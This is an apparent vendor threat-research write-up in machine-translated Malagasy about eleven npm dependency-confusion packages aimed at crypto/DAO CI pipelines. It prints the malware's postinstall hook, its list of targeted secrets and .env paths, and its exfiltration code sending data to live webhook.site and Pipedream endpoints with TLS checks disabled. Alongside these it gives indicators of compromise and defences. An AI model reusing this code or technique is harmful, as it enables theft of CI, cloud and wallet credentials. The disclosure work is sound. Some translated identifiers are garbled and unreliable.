Fisafotofotoana CryptoDAO: Fijinjana fonosana npm CI/CD sy ny tsiambaratelon'ny Crypto

Fisafotofotoana CryptoDAO: fonosana npm iraika ambin'ny folo, entana iray, fijinjana CI/CD ary tsiambaratelon'ny poketra crypto

TL, DR

Tamin'ny 2026-06-17, kaonty npm tokana no navoaka fonosana iraika ambin'ny folo izay mizara tanjona iray sy entana iray. Folo amin'izy ireo no mitondra ny cryptodao- tovona (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ny fahiraika ambin'ny folo no voasokajy @public-for-cdao/coreNavoaka tamin'ny dikan-teny tsirairay avy izy rehetra 99.99.99 ary mandefa byte mitovy recon.js izay mandeha postinstall.

Ireo anarana no famantarana. Toy ny singa fototra ao anatin'ny rojo fitaovana manokan'ny tetikasa crypto/DAO izy ireo. Navoaka tao amin'ny rejisitra npm ho an'ny daholobe tamin'ny dikan-teny avo lenta artifisialy, dia miandry ny fananganana izy ireo. pipeline izay voalamina hamaha ireo anarana ireo ary mahatratra ny npm ampahibemaso alohan'ny — na ho solon'ny — rejisitra manokana. Izany dia fisafotofotoana momba ny fiankinan-doha, ary ny entana dia amboarina mba hahazoana ny toerana tiany hipetrahana: CI/CD mpihazakazaka.

Rehefa postinstall afo, recon.js manangona ny antsipirian'ny mpampiantrano, mamafa manodidina efapolo ny variables momba ny tontolo iainana rahona, CI, ary crypto-wallet, mamaky izay rehetra .env rakitra azony jerena sy alefa ara-bakiteny ireo andalana miafina, avy eo dia alefany any amin'ny mpanangona roa ilay fonosana — webhook.site ary teboka farany Pipedream — miaraka amin'ny fanamarinana mari-pankasitrahana TLS tsy mandeha. Misy dika mitovy voasoratra eo ambanin'ny /tmp.

Hamafiny: ambonyEkosistema voakasik'izany: npmEfa nalefa avokoa ireo fonosana iraika ambin'ny folo tamin'ny fotoana nanoratana ity lahatsoratra ity.

Anatomy fanafihana

Misy faritra mihetsika efatra ilay mekanisma, ary tsy misy miafina amin'izy ireo rehefa fantatrao Jereo eo ambanin'ny anaran'ny fonosana ny sosona iray.

1. Fampidirana ny "version" ho toy ny fandrika mamaha olana. Ny fonosana tsirairay dia manambara ny dikan-teny 99.99.99Miasa ny fisafotofotoana momba ny fiankinan-doha rehefa mangataka ny mpitantana fonosana anarana anatiny, manamarina ihany koa ny rejisitra ho an'ny daholobe ary misafidy ny dikan-teny avo indrindra finds. Ny safidy mahazatra an'ny npm ho an'ny caret na wildcard dia ny dikan-teny mahafa-po indrindra amin'ny loharano voamboatra rehetra; raha samy manokana registry sy public npm valiny ho an'ny anarana mitovy, ny laharan'ny dikan-teny lehibe kokoa no mandresy. A 99.99.99 mihoatra noho izay dikan-teny anatiny tena izy ananan'ny tetikasa iray tratrarina, ka ny resolver izay tsy voapetaka amin'ny loharano manokana dia aleony ny ampahibemaso — ary amin'ity tranga ity, dika mitovy amin'ny fankahalana. Tsy mila mahafantatra ny mpandraharaha Ny laharan'ny dikan-teny tena izy an'ny lasibatra; ny fisafidianana ambony indrindra tsy mitombina dia miantoka ny fitoviana foana manapaka ny lalany.

2. Mpampihetsika aorian'ny fametrahana. package.json mampifandray ny entana amin'ny fametrahana tsingerim-piainana:

{   "scripts": { "postinstall": "node recon.js" } }

Tsy ilaina ny fanafarana ny fonosana. Fametrahana azy fotsiny — izay CI pipeline mandeha ho azy - miasa recon.js.

3. Fanaraha-maso miafina miely patrana. recon.js manangona andiana valiny amin'ny dingana maromaro:

  • Teny manodidina ny mpampiantrano: anaran'ny mpampiantrano, sehatra sy famoahana, maritrano, anarana mpampiasa, fiasa lahatahiry.
  • Fiovaovan'ny tontolo iainana: mamerina lisitra raikitra misy anarana sy firaketana efapolo eo ho eo izay rehetra napetraka. Mampiharihary ny lisitra — mampiaraka ireo marika CI generika izy io (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) sy rahona taratasy fanamarinana (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) miaraka amin'ny tsiambaratelon'ny rejisitra sy ny fitoeran-javatra (NPM_TOKEN, DOCKER_PASSWORD, TENIMIFANDRAISANA) ary vondrona miavaka amin'ny tsiron'ny crypto:  FANAKIANA_PRIVATE, Manao izany, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC. Voafaritra ho amin'ny tarehintsoratra 50 voalohany ny sanda voarakitra.
  • .env rakitra: mikaroka lisitry ny lalana izy — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, sy .famokarana/fampandrosoana karazany — ary ho an'ny rakitra rehetra misy, dia manivana ny votoaty mba hifanaraka amin'ny andalana FANALAHIDY|TSIAFINY|TOKEN|PASS|MANOKANA|MNEMONIKA ary manosika ireo andalana ireo **feno, tsy voafongotra** ho ao amin'ny valiny.
  • Context Build-host: mitanisa ireo fidirana 20 voalohany amin'ny /manorina/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, ary /tmp/.

Ny lisitry ny lalana sy ny lisitry ny variable dia lanjaina mankany amin'ny mpihazakazaka GitLab, izay manondro ny entana dia mivantana amin'ny fotodrafitrasa CI izay mampiantrano tena fa tsy amin'ny mpamorona solosaina finday. Ny fanasokajiana ny lisitry ny vokatra araka ny sokajy dia mahatonga ny vokatra kasaina ho azo vidiana ho tsotra:

SOKAJY Fiovaovana / lalana tratrarina
CI/CD maha-izy azy & fametrahana CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Rejistra & fitoeran-javatra NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Fitehirizana angon-drakitra DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Crypto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Messaging SLACK_TOKEN, DISCORD_TOKEN
Ao anaty kapila .env fianakaviana + /home/gitlab-runner/.env, /root/.env, /app/**/.env; lisitry ny lahatahiry an'ny /builds/, /var/lib/gitlab-runner/

Ny vondrona crypto no ampahany mampiavaka azy amin'ny CI-secret ankapobeny. famafana: ny andian-teny momba ny poketra sy ny lakilen'ny sonia dia miseho ao anatin'ny tontolo iainan'ny a tetikasa blockchain, ary mifandray mivantana amin'ny cryptodao-/famantarana/fifanarahana fanomezana anarana ireo mpitatitra.

4. Fanesorana roa sosona miaraka amin'ny fanamarinana tsy mandeha. Ny array voangona dia nozaraina ary nalefa tany amin'ny toerana roa:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

mandàTsy nahazoana alalana: diso mampijanona ny fanamarinana mari-pankasitrahana TLS ho an'ny outbound antso. Ny angona mitovy dia atao pirinty amin'ny stdout (ka tafiditra ao amin'ny logs asa CI ihany koa) ary nanoratra tamin'i /tmp/.npm_recon_ .jsonAtelina mangina ny fahadisoana, ka Ny fandefasana tsy nahomby dia tsy mamela soritra ao amin'ny vokatra fametrahana mihoatra ny iray monja [fanaraha-maso] napetraka amin'ny tsipika.

Ny fanehoan-kevitra iray lehibe ao amin'ilay rakitra dia mamaritra azy io ho "Fisafotofotoana momba ny fiankinan-doha" "Entana Fanaraha-maso." Ny fampihenana ny sandan'ny tontolo iainana ho 50 litera dia efa ny endriky ny porofon'ny hevitra. Ny zavatra manosika azy handalo ny jiro misy ny fisiana ihany dia ny .env fikirakirana: alefa tanteraka ireo andalana miafina, ary ny toerana haleha dia mpanangona roa miasa, fehezin'ny mpanafika fa tsy lakandrano iray izay isaina fotsiny hits.

Timeline

Ny lamina famoahana dia sonian'ny tsindry tokana voasoratra, fa tsy iraika ambin'ny folo fandefasana tsy miankina.

Ora (UTC, 2026-06-17) Event
03:24:58 cryptodao-bot@99.99.99 namoaka
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — karazany voafaritra, ~24 minitra aty aoriana

Fonosana folo no navoaka tao anatin'ny fe-potoana 29 segondra, izany hoe iray isaky ny telo segondra eo ho eo. Ny sehatra @public-for-cdao/core narahina tokony ho 24 minitra taorian'izay — segondra iray fifanarahana fanomezana anarana ho an'ny tanjona mitovy, raha toa ka manondro ny rojo fitaovana anatiny eo ambanin'ny sehatra iray fa tsy amin'ny anarana tsotra.

Famantarana ny marimaritra iraisana

Type famantarana
hetra hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
hetra hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Mametraha farango postinstall: node recon.js
Rakitra nalatsaka /tmp/.npm_recon_<timestamp>.json
Marika log [recon] <pkg>@<ver> installed on <hostname> (stdout ao amin'ny CI logs)
fihetsika rejectUnauthorized: false amin'ny HTTPS mivoaka mandritra ny fametrahana
entana recon.js, mitovy amin'ny fonosana iraika ambin'ny folo rehetra (fananganana iraisana iray)
Version 99.99.99 amin'ny fonosana rehetra
Packages cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (rehetra 99.99.99)
Mpanonta aduljune / aduljune@proton.me (tsy voamarina ny mailaka, tsy misy loharano voatahiry mifandray)

 Fitondran-tena voamarika sy ny fanombanana

Ny zavatra rehetra momba ny vondrona dia manondro tanana iray. Navoaka avokoa ireo fonosana iraika ambin'ny folo avy amin'ny kaonty npm aduljune (aduljune@proton.me, adiresy tsy voamarina tsy misy (tahiry loharano mifandray), ao anatin'ny 25 minitra, miaraka amin'izay koa 99.99.99 kinova, fandefasana a recon.js izay mitovy ny votoatiny isaky ny byte amin'ny fonosana (MD5 mifanaraka amin'ny kopia iraika ambin'ny folo nalaina). Izany dia entana iray voapetaka amin'ny lisitry ny anarana, fa tsy fampiasana indray ny kaody mahaleo tena.

Ny lisitry ny anarana dia mamaritra ny tanjona kendrena. cryptodao-* sy cdao mamaritra ny Firafitry ny môdioly manokana amin'ny tetikasa crypto/DAO, ary ny lisitry ny vokatra azo fitaratra izay maminavina: miaraka amin'ny tsiambaratelon'ny CI sy ny rahona ankapobeny, dia manokana izany mahatratra ny FANAKIANA_PRIVATE, Manao izany, SEED_PHRASE, ary Ethereum/BSC RPC sy fanalahidin'ny mpamatsy. Ny .env Ny lalan'ny fikarohana sy ny lisitry ny lahatahiry dia GitLab-runner manokana. Ny vokatra azo jerena dia izay rehetra pipeline voafitaka hametraka ireo handefa ny CI tokens, ny cloud keys, ary ny on-disk ny anarana .env tsiambaratelo — ary, ho an'ny tetikasa blockchain, ny fitaovany amin'ny poketra — ho an'ny mpanangona antoko fahatelo roa.

Tsy milaza izahay hoe iza no mitantana ny kaonty na izay nokasain'izy ireo hatao amin'izany. angon-drakitra. Ireo zava-misy mijoro ho azy: ny anarana dia mikendry karazana manokana rojo fitaovana anatiny, mamaky sy mampita soatoavina miafina tena izy ny entana, ary ny efa niasa ny fotodrafitrasa.

Fiantraikany, fironana ary torolàlana ho an'ny mpiaro

Fiankinan-doha misavoritaka mbola mahomby satria mampiasa ny fihetsiky ny mpandamina, fa tsy fahalemena amin'ny fonosana rehetra. Tsotra ny mpitatitra eto — saika foana ny iraika ambin'ny folo fonosana — fa na inona na inona ny savaivony fipoahana pipeline aleony diso ny npm ampahibemaso ho an'ny anarana anatiny. Ny mpihazakazaka CI no toerana ratsy indrindra hitrangan'izany: mitazona izy ireo ireo mari-pamantarana marina ary .env rakitra vakian'ity payload ity, ary mametraka izany izy ireo fiankinan-doha tsy mifampiankina, ka aorian'ny fametrahana mihazakazaka tsy misy mijery.

Mifanaraka amin'ny lamina hitantsika hatrany ihany koa ity vondrona ity: ireo entana alefa amin'ny fotoana fametrahana izay maneho toy ny "fikarohana" na "fanaraha-maso" rehefa manao fanangonana mari-pahaizana tena izy. Ny marika ao amin'ny rakitra dia tsy manova izay ataon'ny kaody amin'ny mpihazakazaka. Misy safidy roa amin'ny endrika mitazona mangina ny asa: ny fiasan'ny tambajotra sy ny rafitra rakitra rehetra dia voafono ao anaty mpitantana ny exception izay manary ny lesoka, ka misy fandefasana voasakana na rakitra tsy hita tsy mamoaka vokatra diagnostika, ary ny hany zavatra vita pirinty dia zavatra tsy mampidi-doza tokana [recon] … napetraka andalana izay mifangaro amin'ny resaka fametrahana mahazatra. Ny fampiasana tranonkala webhook.site ary ny Pipedream dia zavatra azo atao ihany koa — samy maimaim-poana izy roa, manome tolotra fakana fangatahana avy hatrany, ka tsy mila mpizara ny mpandraharaha ny azy ireo manokana ary ny toerana haleha dia toa anaran-tranonkala SaaS mahazatra ao amin'ny egress logs.

Ny toekarena no mahatonga izany ho mendrika ny sain'ny mpiaro na dia eo aza ny Tsotra ny kaody mpitatitra. Tsy misy sarany ny fisoratana anarana anarana iraika ambin'ny folo, iray ny entana ilaina Adika iraika ambin'ny folo ny rakitra, ary ny mpitantana ny fonosana no manao ny fanatanterahana rehetra. Iray monja no manao izany. diso konfigurasi pipeline izay rehetra mandany ny iray amin'ireo anarana ireo dia mandoa ny vola manontolo fandidiana.

Dingana mivaingana ho an'ny mpiaro:

  • Ampidiro ao amin'ny rejisitrao manokana ny sehatra anatiny. Amboary ny npm mba hahazoana anarana anatiny
     ary ny scopes dia tsy mamaha afa-tsy amin'ny rejisitrao (scoped .npmrc registry mappings,
    (na proxy izay tsy latsaka amin'ny npm ampahibemaso ho an'ny namespaces an'ny tompony mihitsy). Tehirizo ny anaran'ny sehatra ho an'ny daholobe mba tsy hisy olon-kafa afaka misoratra anarana azy ireo.
  • Commit lockfiles ary apetraho amin'ny –ignore-scripts ao amin'ny CI raha azo atao, na jereo tsara ireo andiana fiankinan-doha kely izay tena mila apetraka script.  Tsy afaka miasa ny recon.js raha aorian'ny fametrahana dia tsy tanterahina.
  • Karakarao ny anarana toa anatiny amin'ny endrika 99.99.99 (na anarana hafa avo lenta loatra) toy ny saina mena amin'ny famerenana ny fiankinan-doha sy ny fanaraha-maso ny rejisitra.
  • Fanairana rehefa mivoaka amin'ny fotoana fametrahana. A aorian'ny fametrahana izay manokatra HTTPS mivoaka fifandraisana — indrindra rehefa tsy mandeha ny fanamarinana mari-pahaizana — mankany amin'ny Mendrika ny hosakanana eo amin'ny sisin'ny tambajotra sy hojerena ao amin'ny build logs ny webhook.site, Pipedream, na serivisy fakana fangatahana mitovy amin'izany.
  • Mihaza ireo zavatra tranainy. Jereo ireo mpihazakazaka /tmp/.npm_recon_*.json ary ho an'ny [recon] … napetraka amin'ny … marika ao amin'ny CI logs vao haingana. Raha hita, avadiho isaky ny porofo mivaingana amin'izany pipeline — CI tokens, cloud keys, registry tokens, ary izay karazana "wallet seeds" na "private keys" hita ao amin'ny tontolo iainana na rakitra .env.

References

Tsy nisy tatitra avy any ivelany momba ity vondrona ity tamin'ny fotoana nanoratana; ny fanadihadiana mifototra mivantana amin'ny votoatin'ny fonosana navoaka ny etsy ambony

fitaovana-fandrafetana-rindrambaiko-sca-fitaovana-famakafakana-firafitra
Ataovy laharam-pahamehana, amboary ary arovy ny loza mety hitranga amin'ny rindrambaikonao
Alao ny kaontinao maimaim-poana.
Tsy mila carte de crédit.

Arovy ny Famoronana sy ny Fanaterana Rindrambaiko Anao

miaraka amin'ny Xygeni Product Suite